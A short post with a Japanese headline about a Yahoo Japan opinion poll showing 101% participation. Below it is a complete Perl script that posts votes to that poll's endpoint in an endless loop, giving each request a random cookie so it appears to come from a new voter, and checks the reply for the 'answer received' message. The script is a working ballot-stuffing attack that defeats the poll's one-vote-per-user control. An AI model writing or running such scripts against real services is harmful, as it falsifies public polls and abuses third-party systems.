Yahooの「産む機械問題」の意識調査、101%もの参加率

#!/usr/bin/perl
$| = 1;
use LWP::UserAgent;

$rnd = "\0" x 128;
sub genrnd {
$rnd = "B=";
for ($c = 0; $c < 120; $c++){
$rnd .= pack("C", rand(26) + 65);
}
}

$pm{"poll_id"} = "379";
$pm{"typeFlag"} = "1";
$pm{"user_choice"} = "2";
$pm{".add"} = "\xb2\xf3\xc5\xfa\xa4\xb9\xa4\xeb";

for (;;) {
$i++; print "$i...";
$ua = new LWP::UserAgent;
$ua->max_redirect(0);
$ua->parse_head(0);
genrnd;
$ua->default_header("Cookie" => $rnd);
$r = $ua->post("http://polls.dailynews.yahoo.co.jp/quiz/quizresults.php", \%pm);
if(index($r->content, "\xb2\xf3\xc5\xfa\xa4\xf2\xbc\xf5\xa4\xb1\xc9\xd5\xa4\xb1\xa4\xde\xa4\xb7\xa4\xbf") != -1)
{ print "success \n"; }else{ print "error \n"; }
undef $ua; undef $r;
}
__END__